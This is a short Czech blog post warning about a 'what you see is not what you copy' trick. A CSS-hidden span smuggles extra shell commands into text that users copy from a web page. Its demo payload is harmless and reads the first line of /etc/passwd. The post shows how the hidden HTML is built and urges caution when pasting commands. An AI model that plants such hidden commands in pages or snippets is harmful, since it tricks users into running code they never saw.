stderr

Jakub Jedelský

WYSINWYC (What you see is not what you copy) exploit

Je to docela známá fičura, která se objevuje (hlavně) na zpravodajských serverech - při zkopírování části textu se do clipboardu přidá daší text, o který nikdo tak úplně nestojí. Když už se ale do Wordu vloží, tak jej lehce umažeme (a kašleme na nějaké citace). Co když se ale zrovna nekopíruje část článku, ale unixové příkazy, u kterých je velká pravděpodobnost, že půjdou rovnou do terminálu?

Kolega mě upozornil na pěknou ukázku, jak tohoto zneužít. Vezměte si třeba tento jednoduchý příkaz, který si z nějakého důvodu chcete zkopírovat do terminálu a spustit (převzato z původního zdroje):

git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!; Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd; git clone   git://git.kernel.org/pub/scm/utils/kup/kup.git

Jak nevinně se, hajzlík, tváří! Uživatel čeká, že si nahrajeme zdrojáky k modulu kernelu, ale při zkopírování nedostane jen toto - do schránky se přidá i skrytý bonus. Zkus to.

Celý trik je v tom, že část, kterou před uživatelem chceme schovat, pomocí tagu <span> lehce posuneme. Celé to pak vypadá nějak takto:

git clone 
<span style="position: absolute; left: -100px; top: -100px;">
    /dev/null; 
    clear; 
    echo -n "Hello ";whoami|tr -d '\n';
    echo -e "\nThat was a bad idea. Don't copy code from websites you don't trust! Here's the first line of your /etc/passwd: ";
    head -n1 /etc/passwd;
    git clone
</span>
git://git.kernel.org/pub/scm/utils/kup/kup.git

Metod, jak přidat k textu v clipboardu něco navíc je spousta. Takže pozor co a odkud kopírujete. Pokud například berete více příkazů současně, může se mezi ně jednoduše něco takového vloudit.

Původní zdroj
Dokument o WYSINWYC